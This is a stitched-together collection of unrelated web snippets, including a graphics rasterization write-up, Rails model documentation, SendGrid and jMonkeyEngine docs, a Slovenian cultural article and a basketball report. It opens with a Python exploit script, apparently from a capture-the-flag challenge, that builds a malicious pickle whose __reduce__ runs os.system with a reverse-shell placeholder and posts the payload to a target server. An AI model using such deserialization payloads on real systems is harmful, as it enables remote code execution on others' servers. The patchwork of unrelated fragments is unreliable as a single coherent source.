from hashlib import md5
import requests
class PleaseSubscribe(object):
def __reduce__(self):
# The website is using "char + quote" and the "char" needs to pass a whitelist
# so we need to have a character in the first part of our pickle. We can split it.
return (os.system, ('echo homer!;rev shell here',))
#pickle up the class
sc = cPickle.dumps(PleaseSubscribe())
char, quote = sc.split("!")
p_id = md5(char + quote).hexdigest()
#test the pickle on local first
#cPickle.loads(char + quote)
#Submit
requests.post("http://<RHOST>:<RPORT>/submit", data={'character': char, 'quote': quote})
#Check
requests.post("http://<RHOST>:<RPORT>/check", data={'id': p_id})


COVID-19: South Sudan
Home
(current)
COVID-19 South Sudan REPORT
Novel Coronavirus (COVID-19) cases data provided by JHU CSSE
Infections: 481
Deaths: 4
Recovery: 4
Show States or Provinces
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A Nxus module for sending emails through different services.
> npm install nxus-mailer --save
mailer.service(myService)
Each service is expected to implement a method called sendMessage
with the signature
sendMessage(to, from, subject, content, opts) {
...
}
Alternatively, you can specify an array of to addresses:
sendMessage([toAddress, toAddress2], from, subject, content, opts) {
...
}
mailer.send('to@address', 'from@address', "My subject", "Body content", {some: opts})
The opts hash can be used to send service specific opts back to the mail handler. For example:
// SendGrid opts
mailer.send('to@address', 'from@address', "My subject", "Body content", {html: "
Html content
"})
Extends NxusModule


Rasterizester Project
Part 1: Rasterizing Lines
I used Bresenham's algorithm to rasterize lines. In order to rasterize the line, the algorithm needs to decide which pixels lie closest to it. The line will not directly intersect the center of every pixel, so it must be decided which pixels it intersects the most. To do this, it steps through the line, incrementing the x coordinate by one if the overall change in x is greater than the overall change in y, or incrementing the y coordinate if the opposite is true. For this description I will assume we are rasterizing a line dx > dy.
Then the algorithm needs to make a decision about which pixel is closest to the next point on the line. It uses a decision parameter pk. If pk is less than zero, it plots the point (x, y) and increments pk by 2*dy. Otherwise, it plots the point (x, y + 1) or (x, y - 1) depending on if the slope is positive or negative, respectively. It that case it increments pk by 2*dy - 2*dx and continues stepping through the line. The multiplications by two make the algorithm only use integer calculations, which makes it more efficient.
Part 2:Rasterizing Single-Color Triangles
I ended up using two different methods to rasterize triangles. In the first method, I was breaking the triangles into "top flat" and "bottom flat" cases, and then stepping through the triangle and rendering it line by line. After part 5, I ended up switching to using barycentric coordinates to rasterize them. I needed to calculate barycentric coordinates to retrieve the correct color for each pixel, so it made sense to rasterize each pixel individually rather than rasterize a line at a time. Using barycentric coordinates to rasterize triangles also gave a cleaner result.
In the first method I used to rasterize triangles, I broke them into three cases:
- Bottom Flat Triangles
- Top Flat Triangles
- Other
Incrementing the x values and plotting the line:
current_x1 = current_x1 + m1^-1
current_x2 = current_x2 + m2^-1
rasterize_line(current_x1, y, current_x2, y)
Where current_x1 is initialized to the x value of one of the bottom corners and current_x2 is the x value of the other bottom corner. Adding the inverse slope steps the x_values up along the edges of the triangle towards the top vertex. The subroutine to render top flat triangles was done similarly
For the "other" case, I would simply divide the triangle into two seperate triangles: a bottom flat triangle and a top flat triangle. I generated a "fourth" vertex that was directly across from the "middle" vertex, the one with the middle y coordinate.
x4 = x0 + ((y1 - y0)/(y2 - y0) * (x2 - x0))
y4 = y1
Where coordinates are sorted according to ascending y coordinates (so (x0, y0) has the smallest y coordinate and (x2, y2) has the highest y coordinate). Using this new fourth coordinate, I could use my prewritten subroutines to render the original triangle as two seperate triangles, one that was flat on top and the other which was flat on bottom.
Part 3: Antialiasing triangles
Part three was the most challenging for me! First I initialized the super sample buffer as a vector of unsigned chars, simiar to the frame rate buffer, except scaled up based on the sample rate.
total_sample_pts = width * height * sample_rate
superframebuffer.resize(total_sample_pts * 4)
int index = (k*dimension) + 4 *(i + j)Due to the supersamplebuffer storing rgba values for each pixel.
The image is being repeated due to another indexing error when the pixels are drawn into the supersamplebuffer. Once the index was corrected, I got a new result:
Sample_Rate = 4. Image is scaled up larger than it should be and is lighter due to super sample pixel being blended with blank pixels.
The super sample pixel is:
1/sqrt(sample_rate)the size of a frame buffer pixel, so it's color blended with:
(sqrt(sample_rate) - 1)/sqrt(sample_rate)white pixels, giving the lighter, less opaque appearance.
I went through countless other iterations of indexing errors, many of which I can't recreate now. I ended up changing my resolve method to keep track of the x and y coordinate of the current frame buffer pixel. However, just now when trying to recreate another bug, I got my original resolve code to work. Still, my supersamples were getting lighter due to the blending error I described above.
The biggest challenge I had was understanding how to actually anti-alias. At one point I was drawing to the super sample buffer correctly, my resolve method was working mostly correctly (the size of the images stayed consistent among different sample_rates), however there was no anti-aliasing. The jaggies looked the same whether the super_sample_rate was 1 or 16.
Did I need to scale the points by sqrt(sample_rate) in my supersample_point method? Did I need to scale up the triangle according to the sample rate? Or was it both? Between this and the indexing stuff, I was really confusing myself. Thankfully, Ren patiently talked through the idea with me until I understood: I needed to scale one or the other. Either the points or the triangle, but not both.
Scaling the size of the triangle felt more intuitive to me, so that is what I went with. In my void DrawRend::rasterize_triangle() method, I scaled the input coordinates (x0,y0,...,x2,y2) up by a factor of sqrt(sample_rate). Then I repaired my DrawRend::supersample_point(x, y) method so that it stored the true x and y coordinates, as opposed scaling them up as I did before. This allowed (sample_rate) more pixels to be rendered inside the triangle.
Then the resolve method downsampled the pixels back to the resolution of the framebuffer.So colors from a sqrt(sample_rate) X sqrt(sample_rate) square of pixels in the superframebuffer were averaged, and the resulting color was assigned to one corresponding pixel in the frame buffer, giving the final result.
Part 4: Transforms
For part 4, I implemented the transform matrices as shown in the SVG spec. Then I created a new svg file, "first.svg". I grabbed one of the stars shown in another example file and pasted it in my file. Then I made four identical stars and alternated their colors. Next, I put them all in a group that would translate them closer to the center of the page. Finally, I put each star in it's own group with a rotation applied. I incremented each rotation by .25 and added enough stars to make a ring of stars!
Part 5: Barycentric coordinates
Barycentric coordinates give us a way to assign each vertex in a triangle an attribute, and then linearly interpolate those attributes to assign the appropriate value for the other pixels within the triangle.
In the example above, I will refer to the upper left vertex as R, the upper right vertex as G, and the lowest vertex as B. All of the pixels between these vertices are assigned a color depending on where they are relative to R, G, and B.
Observe the pixels that lie on the edge between R and B. The pixels closest to R are all red, and the pixels closest to B are all blue. However, the pixels right in the middle of the edge are a purple shade, since they lie directly between the red and blue vertices. The pixel that lies exactly in the center of the two vertices gets:
.5*color(B) + .5*color(R) + 0*color(G)The number that is multiplied by the color of each vertex is either alpha, beta, or gamma. Each one represents the relative distance from the pixel to one of the three triangle vertices. In the above example, alpha and beta are 0.5, since the pixel is halfway between the red and blue pixels. Gamma is zero since it is relatively far away. To implement this in my program, I first calculate the alpha, beta, and gamma barycentric coordinates using the coordinates passed into <DrawRend::render_barycentric_triangle(). Then, these are passed to ColorTri::color(). This method then multiplies alpha by the "a" vertex color, beta by the "b" vertex color, and gamma = (1 - alpha - beta) by the "c" vertex co
Part 6: Pixel sampling for texture mapping
Finding the UV Texture Coordinates
Implementing part 6 was very similar to part 5. The same way I used barycentric coordinates to interpolate the colors of three vertices of a triangle for the pixels in the triangle, I could map a coordinate inside a triangle to its corresponding uv texture coordinate. In Color TexTri::color(Vector2D xy, Vector2D dx, Vector2D dy, SampleParams sp) , I multiply alpha by the "a" vertex's uv coordinate vector, beta by the "b" coordinate uv vector, and gamma by the "c" coordinate uv vector.
Retrieving the Color from the MipMap
Once I had adjusted the uv vector, it is passed into Texture::sample(const SampleParams &sp), which then calls the appropriate sampling method according to the sp.psm parameter. The sampling method retreives the level 0 mip map (for this portion). The uv coordinates are between 0 and 1, so the sampling method then scales them up to match the proportions of the mipmap.x = uv.x * mipmap.widthThen, the color of the pixel is retrieved from the mipmap.
y = uv.y * mipmap*height
return MipMapPixelColor(x, y, level)
Nearest vs Bilinear Sampling
The nearest level sampling method simply returns the color of the pixel as above. The Bilinear method returns an interpolation of the four nearest uv coordinates. I used the algorithm in the book to implement bilinear sampling. The difference between nearest and bilinear sampling is the most apparent in the map sample images, which have distinct thin vertical lines through them.Jaggies! Blegh!
SoooOossosoSo smooth <3
Even with a high sample rate, the difference between the two methods is apparent on these images.
Gross! Blurry Jaggies!
Ridiculously good looking.
However, without these distinct lines, the effect is much less noticeable. In the campanille image, I actually prefer the nearest sampling method. The features of the image seem slightly better with the nearest sampling.
Looks pretty nice.
Initially when retrieving the mip map colors, I had a bug because I wasn't dividing my colors by 255. Thanks to piazza, I knew I had to divide them by 255 since the color was expecting a float between 0 and 1. However at first that was just giving me black images. Then I realized I literally had to divide it by "255." to prevent a precision error.
Part 7: Level sampling with mipmaps for texture mapping
In the final part, I implemented the "get level" method using the math described in the textbook. This allows the texture sampling to grab different mip maps for each pixel, depending on which is most appropriate. Sometimes the effects are desirable, and other times it ends up blurring the image.
In trilinear sampling, the color from the getLevel() mipMap and the color from the adjacent level are blended to give the resulting color.
I thought the above combination, Level Zero with Linear Sampling, gave the best result. It is the only one that eliminates the Jaggies in the "Maleficent" chrome text.
For closer images, there was visable blurring when using the trilinear sampling met
Observe the blurring in Maleficent's face.
I felt this was the best result for this image.
The jaggies are less apparent in the writing, but Maleficent is a little more blurry.


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Get the different student groups (group 1 and 2)
2D array of user_ids
# File app/models/course.rb, line 95 def get_groups group0 = course_groups.find_all_by_group(0).collect(&:user_id) group1 = course_groups.find_all_by_group(1).collect(&:user_id) [group0,group1] end
Fetches students within a course
Array of user_ids
# File app/models/course.rb, line 55 def get_students StudentInCourse.where(:course_id => id).collect(&:user_id) end
Fetches teaching assistants within a course
Array of user_id
# File app/models/course.rb, line 63 def get_tas TaForCourse.find_all_by_course_id(id).collect(&:user_id) end
Imports Students / TAs from a spreadsheet
file – a file in CSV format that contains the following information (with headers)
1. first_name 2. last_name 3. email 4. role (student,ta) 5. group (1,2)
Creates accounts for users that were not in the database, sends them a registration email
Groups should be even in size (if possible)
# File app/models/course.rb, line 21 def import_students_and_tas(file) spreadsheet = open_spreadsheet(file) header = spreadsheet.row(1) (2..spreadsheet.last_row).each do |i| row = Hash[[header, spreadsheet.row(i)].transpose] user = User.find_by_email(row["email"].downcase) # Create random password, requires members to respond to email before using the system. unless user o =[('a'..'z'),('A'..'Z'),('0'..'9')].map{|i| i.to_a}.flatten token = (0...12).map{ o[rand(o.length)] }.join user = User.new(:password => token, :password_confirmation => token) user.reset_password_token = token user.reset_password_sent_at = Time.now user.attributes = row.to_hash.slice(*User.accessible_attributes) user.role = 'student' user.save! Emailer.delay.signup_confirmation(user) end if row["role"].downcase == 'student' StudentInCourse.create(:user_id => user.id, :course_id => id) group = row['group'] unless(group.nil?) CourseGroup.create(:user_id => user.id, :course_id => id, :group => group) end elsif row["role"].downcase == 'ta' TaForCourse.create(:user_id => user.id, :course_id => id) end end end
Checks if a user is a TA for the course
user_id – user_id to check
True if the user is a ta, false otherwise
# File app/models/course.rb, line 72 def is_user_ta(user_id) get_tas.include?(user_id) end
Helper used to open CSV / Excel files
file – file to be opened
Readable file object if the file is a csv, xls, or xlsx, redirects otherwise
# File app/models/course.rb, line 81 def open_spreadsheet(file) case File.extname(file.original_filename) when ".csv" then Csv.new(file.path, nil, :ignore) when ".xls" then Excel.new(file.path, nil, :ignore) when ".xlsx" then Excelx.new(file.path, nil, :ignore) else flash[:error] = "Unknown file type: #{file.original_filename}" redirect_to new_course_path end end


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John Patrick, London {{> reviews/review-stars-small width="75%" }}


The 8th February is a Slovenian cultural holiday, called Prešeren Day (Prešernov dan). It is when Slovenians celebrate the anniversary of the death of our greatest poet France Prešeren (3 December 1800, Vrba – 8 February 1849, Kranj). On the same day the Prešeren Award (Prešernova nagrada) is given to two prominent Slovenian artists.
Prešeren is now renowned as the greatest Slovenian poet of all time, but it was not always like that. During his lifetime he wasn’t well known at all, but after his death he became famous and a real national hero, which is not an isolated case. We have seen this many times in the history of mankind.
He was way ahead in thinking for that time, so he often struggled with the then narrow-minded society. France Prešeren was a lawyer and poet who preferred to work independently, in the spirit of freedom. He created in the 19th century, the time of Romanticism (romatika), which was an era of expressing emotions, glorification of beauty, imagination and abstract thinking, a movement completely opposite to Realism.
Prešeren could easily be compared with other artists of that time. His collection of poems was remarkable. He mainly wrote poems (pesmi), sonnets (soneti), ballads (balade), ghazals (gazele) and romances (romance). All his works were written in the Bohorič alphabet (bohoričica) which was a little bit different from the modern Slovenian alphabet.
France Prešeren’s poetry is not some of the easiest to comprehend as, I think, we all realised in high school. It is written in older Slovenian and it has a different grammatical structure that can easily give you a headache. But we have to admit he was, despite his more or less unfortunate life, a poetic genius of that time.


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Cell Pictures
{% for row in processed_cells %} {% for cell in row %} {% endfor %}{% endfor %}
Loaded Puzzle:
{{original_grid}}
Proposed Solution:
{% for row in solved %} {{row}}{% endfor %}
{% extends "base.html" %} {% block content %}
Original Photo
Cropped Photo
Cell Pictures
{% for row in processed_cells %} {% for cell in row %} {% endfor %}Loaded Puzzle:
{{original_grid}}


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Address Book Manager
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| Figure 1 |
Projections of MeHg concentrations in the Chinook salmon-sou ... |
| Figure 2 |
Mean percentage change in MeHg concentrations projected in t ... |
| Figure 3 |
Projections of PCB concentrations in the Chinook salmon-sout ... |
| Figure 4 |
Mean percentage change in PCB concentrations projected in th ... |
| Figure 5 |
Relationships between the logarithm (log 10) of projected co ... |
| Figure 6 |
Historical projections of PCB concentrations (mg/kg lipid) i ... |
| Figure 7 |
Geometric mean of the model bias ( MB) of total PCBs (ΣPCB) ... |


This is the official website for the MFOSSociety Wing of Manipal University Jaipur.
Goal oriented and loves solving real life problems. Independent Security Researcher at Night. He suffers from Insomnia.
Design And GraphicsWant to know about me?
Public Relation Officer {}.com
Vice-Presidentclick here
Head Of Operations and General Manager
A brief look at the Events conducted by the MFOSSociety Wing
Learn how to use Git.Click Here
Learn using GitHubClick Here
Learn how to dual boot your system.Click Here
Learn how to use Command Line.Click Here
The Bandit wargame is aimed at absolute beginners. Goto Bandit
Students selected for GSoC from Manipal University Jaipur


Parkland Course Websites
CIS152 Web Design 1: online
CSC179 Digital Media Foundations: Mon/ Weds 1-2:50
CSC 186 2D Animation: Tues, Thurs 9-11:20AM, 1-3:20PM
CSC 187 3D Computer Animation I: Mon, Weds 1- 3:20
CSC188 3D Computer Animation II:
CSC189 3D Computer Animation III:
CSC 233 Animation Scripting:
CSC 294 Portfolio: Tues, Thurs 12-12:50pm
GDS 230 Motion Design
Parkland Girls Camp
Parkland: Digital Media website and Student Gallery
Blogs
CSC186 2D Animation
CSC187 3D Computer Animation 1
CSC188 3D Computer Animation 2
CSC189 3D Computer Animation 3
CSC234 Game Design
CSC294 Digital Media Portfolio


{% include head.html %}
{% include nav.html %} {% include header.html %} {% include announcements.html %} {% include about.html %} {% include tutoring.html %} {% include journal.html %} {% include bursary.html %} {% include member.html %} {% include contact.html %} {% include footer.html %} {% include js.html %}


Federico Baú
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--- layout: page weight: 0 title: Inbound Parse Webhook navigation: show: true --- {% info %} Available to Silver and higher packages or to our free demo accounts. {% endinfo %} {% info %} There are a number of pre-made integrations for the SendGrid Parse Webhook, to make processing events easy, find them in the Library Index. {% endinfo %}
SendGrid can parse the attachments and contents of incoming emails. Application examples include receiving uploads and posting blog articles via email.
The Parse API will POST the parsed email to a URL that you specify. If a POST is unsuccessful, SendGrid automatically queues and retries any POSTs that respond with a 4XX or 5XX status. This prevents data loss for customers who have misconfigured their website or POST URL.
{% info %} If you don't want email messages to be retried in case of an error in delivery, please respond with a 200 status to the POST request. {% endinfo %}In order to avoid returning an error your link is required to return a 200 HTTP code when the email is received. This lets our system know that your link has received the email response. It is then removed from our send queue. If we do not get a valid 200 HTTP response, our servers will believe they have failed to deliver your message and will continue trying to send it. Messages that cannot be delivered after 3 days will be dropped.
{% anchor h2 %} Setup {% endanchor %}The following steps are required to begin parsing email:
The following parameters will be included in the POST to your callback URL.
{% info %} The request that will be sent to the HTTP endpoint will be encoded as multipart/form-data. {% endinfo %}| headers | The raw headers of the email. |
|---|---|
| text | Text body of email. If not set, email did not have a text body. |
| html | HTML body of email. If not set, email did not have an HTML body. |
| from | Email sender, as taken from the message headers. |
| to | Email recipient field, as taken from the message headers. |
| cc | Email cc field, as taken from the message headers. |
| subject | Email Subject. |
| dkim | A JSON string containing the verification results of any dkim and domain keys signatures in the message. |
| SPF | The results of the Sender Policy Framework verification of the message sender and receiving IP address. |
| envelope | A JSON string containing the SMTP envelope. This will have two variables: to, which is a single-element array containing the address that we recieved the email to, and from, which is the return path for the message. |
| charsets | A JSON string containing the character sets of the fields extracted from the message. |
| spam_score | Spam Assassin's rating for whether or not this is spam. |
| spam_report | Spam Assassin's spam report. |
| attachments | Number of attachments included in email. |
| attachment-info | A JSON string containing the attachmentX (see below) keys with another JSON string as the value. This string will contain the keys filename, which is the name of the file and type, which is the media type of the file. |
| attachmentX | These are file upload names, where N is the total number of attachments. For example, if the number of attachments is 0, there will be no attachment files. If the number of attachments is 3, parameters attachment1, attachment2, and attachment3 will have file uploads. Attachments provided with this parameter, are provided in the form of file uploads. TNEF files (winmail.dat) will be extracted and have any attachments posted. |
If you will be receiving email which is not in ASCII only format, you will want to read this section.
Messages and their headers can have character set data associated with them. In order to simplify the parsing of messages for the end user, SendGrid will decode the to, from, cc, and subject headers if needed. All headers will be converted to UTF-8 for uniformity, since technically a header can be in many different character sets.
The charsets variable will contain a JSON encoded hash of the header / field name and its respective character set. For instance, it may look like:
{% codeblock lang:ruby %} [charsets] => {"to":"UTF-8","cc":"UTF-8","subject":"UTF-8","from":"UTF-8","text":"iso-8859-1"} {% endcodeblock %}This shows that all headers should be treated as UTF-8, and the text body is latin1.


Importing models to any game engine is as important as using them. The quality of the models depends on the abilities of the people who create it and on the tools they use. Blender is one of the best free tools for creating 3D enviroments. Its high amount of features attract many model designers. So far jMonkeyEngine used Ogre mesh files to import 3D data. These files were created by the python script that exported data from blender. It was important to have always the lates version of the script that is compatible with the version of blender and to use it before importing data to jme. Now we have an opportunity to simplify the import process by loading data directly from blender binary files: *.blend.
To use it in your game or the SDK you should follow the standard asset loading instructions. By default a BlenderModelLoader is registered with your assetManager to load blend files. This means you can load and convert .blend model files to .j3o format, just like any other supported model format.
I'll fix these when I fix more important stuff ;)
You have two loaders available.
public static class LoadingResults extends Spatial { /** Bitwise mask of features that are to be loaded. */ private final int featuresToLoad; /** The scenes from the file. */ private List<Node> scenes; /** Objects from all scenes. */ private List<Node> objects; /** Materials from all objects. */ private List<Material> materials; /** Textures from all objects. */ private List<Texture> textures; /** Animations of all objects. */ private List<AnimData> animations; /** All cameras from the file. */ private List<Camera> cameras; /** All lights from the file. */ private List<Light> lights; /** Access Methods goes here. */ }
To register the model do the following:
assetManager.registerLoader(BlenderLoader.class, "blend");
or
assetManager.registerLoader(BlenderModelLoader.class, "blend");
You can use com.jme3.asset.BlenderKey for that. The simplest use is to create the key with the asset's name. It has many differens settings descibing the blender file more precisely, but all of them have default values so you do not need to worry about it at the beggining. You can use ModelKey as well. This will give the same result as using default BlenderKey.
BlenderLoader (as well as BlenderModelLoader) is looking for all kinds of known assets to load. It's primary use is of course to load the models withon the files. Each blender object is imported as scene Node. The node should have applied textures and materials as well. If you define animations in your BlenderKey the animations will as well be imported and attached to the model.
Here is the list of how blender features are mapped into jme.
Using BlenderLoader can allow you to use blend file as your local assets repository. You can store your textures, materials or meshes there and simply import it when needed. Currently blender 2.49 and 2.5+ are supported (only the stable versions). Probably versions before 2.49 will work pretty well too, but I never checked that :)
I know that the current version of loader is not yet fully functional, but belive me – Blender is a very large issue ;) Hope I will meet your expectations.
Cheers, Marcin Roguski (Kaelthas)
P.S. This text might be edited in a meantime if I forgot about something ;)


| HOME | DOWNLOAD | DOCUMENTATION | FORUM | FAQ |
> Home > Documentation > Spherical Harmonic Transformations
PRECOMPUTE(1) SHTOOLS 2.6 PRECOMPUTE(1)
PreCompute
PreCompute - Precompute weights, nodes, and associated Legendre functions used in the GLQ-based spherical harmonics routines.
SYNOPSIS
SUBROUTINE PreCompute ( LMAX, ZERO, W, PLX, WISDOM_FILE, NORM, CSPHASE, CNORM ) REAL*8 ZERO(LMAX+1), W(LMAX+1) INTEGER LMAX REAL*8, OPTIONAL PLX(LMAX+1, (LMAX+1)*(LMAX+2)/2) INTEGER, OPTIONAL NORM, CSPHASE, CNORM CHARACTER(*), OPTIONAL WISDOM_FILE
DESCRIPTION
PreCompute will calculate the weights and zeros used in the Gauss- Legendre quadrature based spherical harmonic routines SHExpandGLQ, MakeGridGLQ, SHExpandGLQC, and MakeGridGLQC. Optionally, an array of the associated Legendre functions evaluated on the quadrature nodes can be computed as well. For the first call to this routine, a system wide FFTW wisdom file will be read from /etc/fftw/wisdom (if present) or the optionally specified file in WISDOM_FILE. If the complex routines are to be used, the optional parameter CNORM must here be set equal to 1. The employed spherical harmonic normalization and Condon-Shortley phase convention can be set by the optional arguments NORM and CSPHASE; if not set, the default is to use geodesy 4-pi normalized harmonics that exclude the Condon-Shortley phase of (-1)^m.
ARGUMENTS
LMAX (input) INTEGER The maximum spherical harmonic degree of the coefficients to be calculated in the Gauss-Legendre quadrature based spherical harmonic transform routines. ZERO (output) REAL*8, DIMENSION (LMAX+1) The nodes used in the Gauss-Legendre quadrature over latitude, determined from a call to PreGLQ. W (output) REAL*8, DIMENSION (LMAX+1) The weights used in the Gauss-Legendre quadrature over latitude, determined from a call to PreGLQ. PLX (output) REAL*8, OPTIONAL, DIMENSION (LMAX+1, (LMAX+1)*(LMAX+2)/2) An array of the associated Legendre functions calculated at the nodes used in the Gauss-Legendre quadrature. WISDOM_FILE (input) CHARACTER(*), OPTIONAL The location of the FFTW wisdom file that will be read during the first call to this routine. NORM (input) INTEGER, OPTIONAL 1 (default) = Geodesy 4-pi normalized harmonics; 2 = Schmidt semi-normalized harmonics; 3 = unnormalized harmonics; 4 = orthonormal harmonics. CSPHASE (input) INTEGER, OPTIONAL 1 (default) = do not apply the Condon-Shortley phase factor to the associated Legendre functions; -1 = append the Condon-Shortley phase factor of (-1)^m to the associated Legendre functions. CNORM (input) INTEGER, OPTIONAL If 1, the complex normalization of the associated Legendre functions will be used: This must be set if the complex routines SHExpandGLQC and MakeGridGLQC are to be used. The default is to use the real normalization.
SEE ALSO
shexpandglq(1), makegridglq(1), shexpandglqc(1), makegridglqc(1), glqgridcoord(1), preglq(1) <http://www.ipgp.jussieu.fr/~wieczor/SHTOOLS/SHTOOLS.html>
COPYRIGHT AND LICENSE
Copyright 2005-2008 by Mark Wieczorek<EMAIL_ADDRESS>This is free software; you can distribute and modify it under the terms of the revised BSD license. SHTOOLS 2.6 2009-08-18 PRECOMPUTE(1)
> Home > Documentation > Spherical Harmonic Transformations
| Centre National de la Recherche Scientifique | Institut de Physique du Globe de Paris | © 2011 Mark Wieczorek |


How does it work? Simply follow a link:
cflash://CHINESE_WORDto open cFlash from another app and launch a search. ie:
cflash://中国語will launch jflash and search for 中国語. Ask your other favorite apps to include this functionality as well and let's build the perfect environment for learning, reviewing and retaining Chinese!


The file(1) utility is a UNIX utility that examines and classifies files, based on information found in its database of file types, the /etc/magic file. The following information may be added to your system's /etc/magic file to enable file(1) to correctly identify Berkeley DB database files.
The file(1) utility magic(5) information for the standard System V UNIX implementation of the file(1) utility is included for both big-endian (e.g., Sparc) and little-endian (e.g., x86) architectures.
The file(1) utility magic(5) information for Release 3.X of Ian Darwin's implementation of the file utility (as distributed by FreeBSD and most Linux distributions) is available from magic.txt. This information is correct for both big-endian and little-endian architectures.


West Brom Basketball Club B team cruise to victory over Stafford
West Brom Men's Basketball B team continued their strong start to the season, beating Stafford Spartans 87-51 to climb within two points of league-leaders Northwood Valiants.
The Black Country side put in one of their most balanced performances of the season in Staffordshire, with six of their eight players notching in double figures to help secure the comfortable victory.
West Brom set their stall out early on in the clash, quickly opening up a 10-4 lead after just four minutes before growing their lead to nine by the end of the quarter.
With the visitors rolling, Stafford struggled to handle West Brom's stingy defence, with top scorer Stefan Artzrouni triggering a 22-4 midway through the period, effectively ending the game as a contest.
Leading 51-24 at the half, it was a simple matter of remaining professional for West Brom - and they maintained their quality through the third quarter, as they continued to rack up the points to further stretch their lead.
The final quarter proved little more than a formality, as West Brom cruised to the 87-55 win to ensure their journey back to the Black Country was a happy one.
West Brom Men's Basketball B team captain Liam Sheridan was delighted to notch such a commanding result.
"It was great to pick up our third straight win." he said.
"Seeing Ziggy [Cameron] return to the court after injury and the addition of Demarnay [Graham] will be big for us.
"Despite the comfortable win I think we can still take things up a notch, so we will work on making a few adjustments before our next game.
"Most of our away games in this league require travelling to places like Stoke and Stafford, so it's important that we travel well and perform on the road, if we can do that I think we could compete for the title this season."
West Brom's B team next face third-placed Walsall 99ers on Sunday November 24 at West Brom Leisure Centre - tip-off is scheduled for 6pm.


Rosie and Suzanne's Book App
Add a book
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Welcome to the Book App by Rosie and Suzanne
About Suzanne:
About Rosie:


Pueblo CoLab
Providing technology advisory services to social good organizations and small businesses around the world
Technology
Reviews, research, recommendations
Data
Management, retrieval, cleaning & analysis
Infrastructure
System advisory and setup


http://madlibz.herokuapp.com/api/random
The url query options are as follows:
| Query | Type | Description |
|---|---|---|
| minlength | Number | The min number of user inputs in template |
| maxlength | Number | The max number of user inputs in template |
Here is an example call:
http://madlibz.herokuapp.com/api/random?minlength=5&maxlength=25
Example output:
{ "blanks": [ "foreign country", "adverb", "adjective", "animal", "verb ending in 'ing'", "verb", "verb ending in 'ing'", "adverb", "adjective", "a place", "type of liquid", "part of the body", "verb" ], "value": [ "If you are traveling in ", " and find yourself having to cross a piranha-filled river, here's how to do it ", ": \n* Piranhas are more ", " during the day, so cross the river at night.\n* Avoid areas with netted ", " traps--piranhas may be ", " there looking to ", " them!\n* When ", " the river, swim ", ". You don't want to wake them up and make them ", "!\n* Whatever you do, if you have an open wound, try to find another way to get back to the ", ". Piranhas are attracted to fresh ", " and will most likely take a bite out of your ", " if you ", " in the water!", 0 ], "title": "How To Cross a Piranha-Infested River" }
A demo of the output being used can be seen here.
Find an error? Report it here: https://github.com/HermanFassett/madlibz/issues
Want to add a Madlibs to the API?
Edit this JSON file here: https://github.com/HermanFassett/madlibz/blob/master/data/templates.json
The format of the file is as follows:
{ "templates": [...] }
To add your own Madlibs to the file, you need to put it in the "templates" array in the following format:
{ "title": "Your Madlibs Title", "blanks": ["name", "verb ending in 'ing'"], "value": ["Hello ", " what are you ", " ?", 0] }
Where title is the name of your Madlibs, blanks contains in order the input types the user will need to do, and value contains the actual text of the Madlibs, split as an array wherever a blank is, and ending with a 0 (non string). Don't forget to include the spaces in these values. The 0 is there mostly for the one word example of Hello _____ noun. It shouldn't matter where in the json file you put your Madlibs, but please do put it at the end, and make sure, in proper json style, that the previous sample has a comma after it!!!


Author: Rafael Benevides
Level: Intermediate
Technologies: CDI, Arquillian, Shrinkwrap
Summary: The shrinkwrap-resolver
quickstart demonstrates three common use cases for ShrinkWrap Resolver in Red Hat JBoss Enterprise Application Platform.
Target Product: JBoss EAP
Source: https://github.com/jboss-developer/jboss-eap-quickstarts/
This quickstart demonstrates the use of ShrinkWrap Resolver in Red Hat JBoss Enterprise Application Platform.
With the advent of Maven and other build systems, typically third party libraries and our own dependent modules are obtained from a backing software repository. In this case we supply a series of coordinates which uniquely identifies an artifact in the repository, and resolve the target files from there.
That is precisely the aim of the ShrinkWrap Resolver project; it is a Java API to obtain artifacts from a repository system.
The shrinkwrap-resolver
quickstart demonstrates various use cases for ShrinkWrap Resolver. This Quickstart has 3 Test Classes that demonstrates the following Shrinkwrap use cases:
ShrinkwrapImportFromPomTest
ShrinkwrapResolveGAPCVCustomRepoWithoutCentralTest
The application this project produces is designed to be run on Red Hat JBoss Enterprise Application Platform 7.1 or later.
All you need to build this project is Java 8.0 (Java SDK 1.8) or later and Maven 3.3.1 or later. See Configure Maven for JBoss EAP 7.1 to make sure you are configured correctly for testing the quickstarts.
For Linux: EAP7_HOME/bin/standalone.sh
For Windows: EAP7_HOME\bin\standalone.bat
This quickstart provides Arquillian tests. By default, these tests are configured to be skipped as Arquillian tests require the use of a container.
mvn clean verify -Parq-remote
You can also let Arquillian manage the JBoss EAP server by using the arq-managed
profile. For more information about how to run the Arquillian tests, see Run the Arquillian Tests.
You can also start the server and deploy the quickstarts or run the Arquillian tests from Eclipse using JBoss tools. For general information about how to import a quickstart, add a JBoss EAP server, and build and deploy a quickstart, see Use JBoss Developer Studio or Eclipse to Run the Quickstarts.
You must first set the active Maven profile in project properties to be either arq-managed
for running on managed server or arq-remote
for running on remote server. Then, to run the tests, right click on the project or individual classes and select Run As --> JUnit Test in the context menu.
When you run the tests, you are presented with the test report summary:
-------------------------------------------------------
T E S T S
-------------------------------------------------------
Running org.jboss.as.quickstarts.shrinkwrap.resolver.ShrinkwrapImportFromPomTest
Tests run: 1, Failures: 0, Errors: 0, Skipped: 0, Time elapsed: 4.633 sec
Running org.jboss.as.quickstarts.shrinkwrap.resolver.ShrinkwrapResolveGAPCVCustomRepoWithoutCentralTest
Tests run: 1, Failures: 0, Errors: 0, Skipped: 0, Time elapsed: 1.439 sec
Running org.jboss.as.quickstarts.shrinkwrap.resolver.ShrinkwrapResolveGAVWithoutTransitiveDepsTest
Tests run: 1, Failures: 0, Errors: 0, Skipped: 0, Time elapsed: 1.016 sec
Results :
Tests run: 3, Failures: 0, Errors: 0, Skipped: 0
If you want to debug the source code or look at the Javadocs of any library in the project, run either of the following commands to pull them into your local repository. The IDE should then detect them.
mvn dependency:sources
mvn dependency:resolve -Dclassifier=javadoc


7/28/2016
This article helps you gettting started with Windows PowerShell if you found it acting werid. You probably were missing some steps.
https://msdn.microsoft.com/en-us/powershell
check powershell version, you can run
$psversiontable
or
$host
If you are on Windows 7 or 8.1, PowerShell v2.0 is pharpas what you have.
What you need to do, is download and install latest supported Windows Management Framework.
Visit https://msdn.microsoft.com/en-us/powershell and find download WMF button.
As at the time I write this, it would be WMF5.
$psversiontable
Name Value
---- -----
PSVersion 5.0.10586.117
PSCompatibleVersions {1.0, 2.0, 3.0, 4.0...}
BuildVersion 10.0.10586.117
